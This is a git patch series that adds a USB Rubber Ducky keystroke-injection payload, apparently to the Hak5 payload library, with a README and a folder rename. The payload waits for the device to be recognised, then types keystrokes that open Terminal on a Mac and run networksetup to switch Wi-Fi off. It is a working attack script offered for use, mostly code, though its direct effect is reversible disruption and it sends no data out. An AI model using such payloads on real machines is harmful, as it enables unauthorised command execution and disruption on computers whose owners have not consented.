From 0403e79d707739f0a85850d5b4ff7ecfd7041f03 Mon Sep 17 00:00:00 2001 From: bst04 <75524846+brunoooost@users.noreply.github.com> Date: Wed, 30 Oct 2024 16:22:49 +0100 Subject: [PATCH 1/3] Create payload.txt Adding my Disable WiFi - MacOS to the execution category. --- .../Disable WiFi - MacOS/payload.txt | 53 +++++++++++++++++++ 1 file changed, 53 insertions(+) create mode 100644 payloads/library/execution/Disable WiFi - MacOS/payload.txt diff --git a/payloads/library/execution/Disable WiFi - MacOS/payload.txt b/payloads/library/execution/Disable WiFi - MacOS/payload.txt new file mode 100644 index 0000000..1040bc0 --- /dev/null +++ b/payloads/library/execution/Disable WiFi - MacOS/payload.txt @@ -0,0 +1,53 @@ +REM_BLOCK +################################## +# # +# Title : Disable WiFi # +# Author : bst04 - Aleff # +# Version : 1.0 # +# Category : Execution # +# Target : MacOS # +# # +################################## +END_REM + +REM Change the #MODE value to "on" if you want to run the WiFi, else leave it as "off" +DEFINE #MODE off + +EXTENSION DETECT_READY + REM VERSION 1.1 + REM AUTHOR: Korben + + REM_BLOCK DOCUMENTATION + USAGE: + Extension runs inline (here) + Place at beginning of payload (besides ATTACKMODE) to act as dynamic + boot delay + + TARGETS: + Any system that reflects CAPSLOCK will detect minimum required delay + Any system that does not reflect CAPSLOCK will hit the max delay of 3000ms + END_REM + + REM CONFIGURATION: + DEFINE #RESPONSE_DELAY 25 + DEFINE #ITERATION_LIMIT 120 + + VAR $C = 0 + WHILE (($_CAPSLOCK_ON == FALSE) && ($C < #ITERATION_LIMIT)) + CAPSLOCK + DELAY #RESPONSE_DELAY + $C = ($C + 1) + END_WHILE + CAPSLOCK +END_EXTENSION + +REM Another pinch of delay in accordance with https://shop.hak5.org/blogs/usb-rubber-ducky/detect-ready +DELAY 200 + +GUI SPACE +DELAY 250 +STRINGLN TERMINAL +DELAY 250 +STRINGLN networksetup -setnetworkserviceenabled Wi-Fi #MODE +DELAY 250 +GUI q From b9de56e67dcc351dea8f73e4f9a8edbe9a86869c Mon Sep 17 00:00:00 2001 From: bst04 <75524846+brunoooost@users.noreply.github.com> Date: Wed, 30 Oct 2024 16:27:47 +0100 Subject: [PATCH 2/3] Create README.md Adding my README.md to the execution category --- .../execution/Disable WiFi - MacOS/README.md | 24 +++++++++++++++++++ 1 file changed, 24 insertions(+) create mode 100644 payloads/library/execution/Disable WiFi - MacOS/README.md diff --git a/payloads/library/execution/Disable WiFi - MacOS/README.md b/payloads/library/execution/Disable WiFi - MacOS/README.md new file mode 100644 index 0000000..c2f022b --- /dev/null +++ b/payloads/library/execution/Disable WiFi - MacOS/README.md @@ -0,0 +1,24 @@ +# Disable WiFi 🛜 + +This payload is designed to turn off the Wi-Fi on a MacOS system. To turn the Wi-Fi back on, simply modify the script to replace "off" with "on". + +### Details + +- **Title**: Disable WiFi +- **Author**: bst04 - Aleff +- **Version**: 1.0 +- **Category**: Execution +- **Target**: MacOS + +### Dependencies + +- REM Change the #MODE value to "on" if you want to run the WiFi, else leave it as "off" + `DEFINE #MODE off` + +## How It Works 📜 + +1. Sets a user-defined modality (`#MODE`) to `on` or `off`. +2. Uses an extension (`EXTENSION DETECT_READY`) to detect when the device is ready with just a littebit more delay... +3. After readiness is confirmed, the script: + - Runs commands to open **Terminal**. + - Run or stop the WiFi From 59d4883817e8ad79e51e801f4fa28213e9fa483b Mon Sep 17 00:00:00 2001 From: bst04 Date: Thu, 31 Oct 2024 09:38:35 +0100 Subject: [PATCH 3/3] Rename of Disable_WiFi-MacOS --- .../{Disable WiFi - MacOS => Disable_WiFi-MacOS}/README.md | 0 .../{Disable WiFi - MacOS => Disable_WiFi-MacOS}/payload.txt | 0 2 files changed, 0 insertions(+), 0 deletions(-) rename payloads/library/execution/{Disable WiFi - MacOS => Disable_WiFi-MacOS}/README.md (100%) rename payloads/library/execution/{Disable WiFi - MacOS => Disable_WiFi-MacOS}/payload.txt (100%) diff --git a/payloads/library/execution/Disable WiFi - MacOS/README.md b/payloads/library/execution/Disable_WiFi-MacOS/README.md similarity index 100% rename from payloads/library/execution/Disable WiFi - MacOS/README.md rename to payloads/library/execution/Disable_WiFi-MacOS/README.md diff --git a/payloads/library/execution/Disable WiFi - MacOS/payload.txt b/payloads/library/execution/Disable_WiFi-MacOS/payload.txt similarity index 100% rename from payloads/library/execution/Disable WiFi - MacOS/payload.txt rename to payloads/library/execution/Disable_WiFi-MacOS/payload.txt